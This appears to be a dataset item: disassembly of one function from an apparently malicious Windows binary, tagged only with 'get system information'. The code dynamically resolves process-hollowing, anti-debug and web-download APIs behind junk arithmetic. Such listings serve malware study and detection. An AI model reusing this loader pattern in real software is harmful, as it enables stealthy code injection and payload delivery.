Function at 0x401420
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c4
mov eax, dword [0x41e508]
cdq
mov ecx, 0x47
idiv ecx
mov eax, dword [0x41e26c]
imul eax, edx
mov dword [0x41e508], eax
lea ecx, [ebp - 0x38]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [0x41e26c]
xor edx, edx
mov ecx, 0x51
div ecx
mov eax, dword [0x41e508]
add eax, edx
mov dword [0x41e26c], eax
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x41df30], eax
mov eax, dword [0x41e508]
cdq
mov ecx, 0xb
idiv ecx
mov eax, dword [0x41e26c]
imul eax, edx
mov dword [0x41e508], eax
call fcn.00401160
push 0x104
lea ecx, [ebp - 0x148]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [ebp - 8], 0x326
push str.GetProcAddress
mov edx, dword [0x41df30]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41e2e8], eax
mov dword [ebp - 4], 3
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0xc], 0x352
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x44], 0x264
push 0x41a39c
push str.kernel32.dllGetProcAddressLoadLibraryAntdll.dllwininet.dllole32.dllshell32.dllGetModuleHandleAWriteProcessMemoryCreateProcessWSetThreadContextGetThreadContextResumeThreadFindResourceALoadResourceSizeofResourceVirtualAllocExNtUnmapViewOfSectionContinueDebugEventWaitForDebugEventReadProcessMemoryCreateToolhelp32SnapshotModule32FirstOutputDebugStringACloseHandleExitProcessGetCurrentProcessCreateThreadWaitForSingleObjectSetFileAttributesWInternetOpenAInternetOpenUrlAInternetReadFileDeleteUrlCacheEntryInternetCloseHandleGlobalFreeGlobalAllocSetUnhandledExceptionFilterMultiByteToWideCharSHGetSpecialFolderPathWCoInitializeCoCreateInstancelstrcpyWlstrcatWGetModuleFileNameW
call fcn.0040a436
add esp, 8
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], 0x6a5
cmp dword [ebp - 0x10], 0
je 0x401b59
mov dword [ebp - 0x154], 6
mov eax, dword [ebp - 0x3c]
add eax, 1
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x180], 2
cmp dword [ebp - 0x3c], 3
jne 0x40154c
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [0x41df30]
push edx
call dword [0x41e2e8]
mov dword [0x41e278], eax
mov dword [ebp - 0x170], 0x2a
cmp dword [ebp - 0x3c], 4
jne 0x40156b
mov eax, dword [ebp - 0x10]
push eax
call dword [0x41e278]
mov dword [0x41e254], eax
mov eax, dword [0x41e26c]
xor edx, edx
mov ecx, 0x4d
div ecx
mov eax, dword [0x41e508]
sub eax, 0x23
imul edx, eax
mov dword [0x41e508], edx
cmp dword [ebp - 0x3c], 5
jne 0x40159f
mov ecx, dword [ebp - 0x10]
push ecx
call dword [0x41e278]
mov dword [0x41e274], eax
mov eax, dword [0x41e508]
cdq
mov ecx, 0x47
idiv ecx
mov eax, dword [0x41e26c]
imul eax, edx
mov dword [0x41e508], eax
cmp dword [ebp - 0x3c], 6
jne 0x4015ce
mov ecx, dword [ebp - 0x10]
push ecx
call dword [0x41e278]
mov dword [0x41e258], eax
mov dword [ebp - 0x1a0], 0x34
cmp dword [ebp - 0x3c], 7
jne 0x4015ed
mov edx, dword [ebp - 0x10]
push edx
call dword [0x41e278]
mov dword [0x41e288], eax
mov dword [ebp - 0x1b0], 0x1984
cmp dword [ebp - 0x3c], 8
jne 0x401613
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [0x41df30]
push ecx
call dword [0x41e2e8]
mov dword [0x41e280], eax
mov dword [ebp - 0x17c], 0x1700
cmp dword [ebp - 0x3c], 9
jne 0x401638
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [0x41df30]
push eax
call dword [0x41e2e8]
mov dword [0x41e2ec], eax
mov dword [ebp - 0x1c4], 0x247
cmp dword [ebp - 0x3c], 0xa
jne 0x40165e
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [0x41df30]
push edx
call dword [0x41e2e8]
mov dword [0x41e2f4], eax
mov dword [ebp - 0x16c], 1
cmp dword [ebp - 0x3c], 0xb
jne 0x401684
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [0x41df30]
push ecx
call dword [0x41e2e8]
mov dword [0x41e2d4], eax
mov dword [ebp - 0x168], 7
cmp dword [ebp - 0x3c], 0xc
jne 0x4016a9
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [0x41df30]
push eax
call dword [0x41e2e8]
mov dword [0x41e250], eax
mov dword [ebp - 0x178], 0x50
cmp dword [ebp - 0x3c], 0xd
jne 0x4016cf
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [0x41df30]
push edx
call dword [0x41e2e8]
mov dword [0x41e28c], eax
mov dword [ebp - 0x19c], 0x33
cmp dword [ebp - 0x3c], 0xe
jne 0x4016f5
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [0x41df30]
push ecx
call dword [0x41e2e8]
mov dword [0x41df5c], eax
mov dword [ebp - 0x198], 0x578
cmp dword [ebp - 0x3c], 0xf
jne 0x40171a
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [0x41df30]
push eax
call dword [0x41e2e8]
mov dword [0x41e51c], eax
mov dword [ebp - 0x188], 0x20
cmp dword [ebp - 0x3c], 0x10
jne 0x401740
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [0x41df30]
push edx
call dword [0x41e2e8]
mov dword [0x41e2e0], eax
mov eax, dword [0x41e508]
cdq
mov ecx, 0x32
idiv ecx
mov dword [0x41e26c], eax
cmp dword [ebp - 0x3c], 0x11
jne 0x40176d
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [0x41df30]
push eax
call dword [0x41e2e8]
mov dword [0x41df58], eax
mov dword [ebp - 0x174], 0x27
cmp dword [ebp - 0x3c], 0x12
jne 0x401793
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [0x41e254]
push edx
call dword [0x41e2e8]
mov dword [0x41e248], eax
mov dword [ebp - 0x18c], 1
cmp dword [ebp - 0x3c], 0x13
jne 0x4017b9
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [0x41df30]
push ecx
call dword [0x41e2e8]
mov dword [0x41e24c], eax
mov dword [ebp - 0x1b8], 1
cmp dword [ebp - 0x3c], 0x14
jne 0x4017de
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [0x41df30]
push eax
call dword [0x41e2e8]
mov dword [0x41e2d8], eax
mov eax, dword [0x41e26c]
xor edx, edx
mov ecx, 0x63
div ecx
mov eax, dword [0x41e508]
add eax, edx
mov dword [0x41e26c], eax
cmp dword [ebp - 0x3c], 0x15
jne 0x401814
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [0x41df30]
push edx
call dword [0x41e2e8]
mov dword [0x41e240], eax
mov dword [ebp - 0x1a4], 0x930
cmp dword [ebp - 0x3c], 0x16
jne 0x40183a
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [0x41df30]
push ecx
call dword [0x41e2e8]
mov dword [0x41e284], eax
mov dword [ebp - 0x1b4], 0x7f
cmp dword [ebp - 0x3c], 0x17
jne 0x40185f
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [0x41df30]
push eax
call dword [0x41e2e8]
mov dword [0x41e50c], eax
mov eax, dword [0x41e26c]
xor edx, edx
mov ecx, 0x46
div ecx
mov eax, dword [0x41e508]
sub eax, 0x25
imul edx, eax
mov dword [0x41e508], edx
cmp dword [ebp - 0x3c], 0x18
jne 0x40189a
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [0x41df30]
push edx
call dword [0x41e2e8]
mov dword [0x41e268], eax
mov dword [ebp - 0x194], 0x393
cmp dword [ebp - 0x3c], 0x19
jne 0x4018c0
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [0x41df30]
push ecx
call dword [0x41e2e8]
mov dword [0x41e2dc], eax
mov eax, dword [0x41e26c]
xor edx, edx
mov ecx, 0x1b
div ecx
mov eax, dword [0x41e508]
sub eax, 0x54
imul edx, eax
mov dword [0x41e508], edx
cmp dword [ebp - 0x3c], 0x1a
jne 0x4018fb
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [0x41df30]
push edx
call dword [0x41e2e8]
mov dword [0x41e25c], eax
mov dword [ebp - 0x164], 4
cmp dword [ebp - 0x3c], 0x1b
jne 0x401921
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [0x41df30]
push ecx
call dword [0x41e2e8]
mov dword [0x41e514], eax
mov dword [ebp - 0x160], 0xf1e
cmp dword [ebp - 0x3c], 0x1c
jne 0x401946
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [0x41df30]
push eax
call dword [0x41e2e8]
mov dword [0x41e2e4], eax
mov dword [ebp - 0x1c0], 0x4c
cmp dword [ebp - 0x3c], 0x1d
jne 0x40196c
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [0x41df30]
push edx
call dword [0x41e2e8]
mov dword [0x41e524], eax
mov dword [ebp - 0x1a8], 0x72
cmp dword [ebp - 0x3c], 0x1e
jne 0x401992
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [0x41df30]
push ecx
call dword [0x41e2e8]
mov dword [0x41e264], eax
mov eax, dword [0x41e26c]
xor edx, edx
mov ecx, 0x5c
div ecx
mov eax, dword [0x41e508]
sub eax, 0x44
imul edx, eax
mov dword [0x41e508], edx
cmp dword [ebp - 0x3c], 0x24
jne 0x4019cd
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [0x41df30]
push edx
call dword [0x41e2e8]
mov dword [0x41e528], eax
mov dword [ebp - 0x150], 0xae0
cmp dword [ebp - 0x3c], 0x25
jne 0x4019f3
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [0x41df30]
push ecx
call dword [0x41e2e8]
mov dword [0x41e2fc], eax
mov eax, dword [0x41e508]
cdq
mov ecx, 0x37
idiv ecx
mov dword [0x41e26c], eax
cmp dword [ebp - 0x3c], 0x26
jne 0x401a20
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [0x41df30]
push eax
call dword [0x41e2e8]
mov dword [0x41df68], eax
mov dword [ebp - 0x190], 0x51
cmp dword [ebp - 0x3c], 0x27
jne 0x401a46
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [0x41df30]
push edx
call dword [0x41e2e8]
mov dword [0x41e510], eax
mov dword [ebp - 0x14c], 0x49
cmp dword [ebp - 0x3c], 0x28
jne 0x401a6c
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [0x41e288]
push ecx
call dword [0x41e2e8]
mov dword [0x41df54], eax
mov dword [ebp - 0x184], 0x84
cmp dword [ebp - 0x3c], 0x29
jne 0x401a91
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [0x41e258]
push eax
call dword [0x41e2e8]
mov dword [0x41e2f8], eax
mov dword [ebp - 0x15c], 3
cmp dword [ebp - 0x3c], 0x2a
jne 0x401ab7
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [0x41e258]
push edx
call dword [0x41e2e8]
mov dword [0x41e244], eax
mov dword [ebp - 0x158], 0x6c
cmp dword [ebp - 0x3c], 0x2b
jne 0x401add
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [0x41df30]
push ecx
call dword [0x41e2e8]
mov dword [0x41df50], eax
mov dword [ebp - 0x1bc], 0x25
cmp dword [ebp - 0x3c], 0x2c
jne 0x401b02
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [0x41df30]
push eax
call dword [0x41e2e8]
mov dword [0x41e27c], eax
mov dword [ebp - 0x1ac], 1
cmp dword [ebp - 0x3c], 0x2d
jne 0x401b28
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [0x41df30]
push edx
call dword [0x41e2e8]
mov dword [0x41e23c], eax
mov eax, dword [0x41e508]
cdq
mov ecx, 0x31
idiv ecx
mov eax, dword [0x41e26c]
imul eax, edx
mov dword [0x41e508], eax
push 0x41a39c
push 0
call fcn.0040a436
add esp, 8
mov dword [ebp - 0x10], eax
jmp 0x401509
xor eax, eax
mov esp, ebp
pop ebp
ret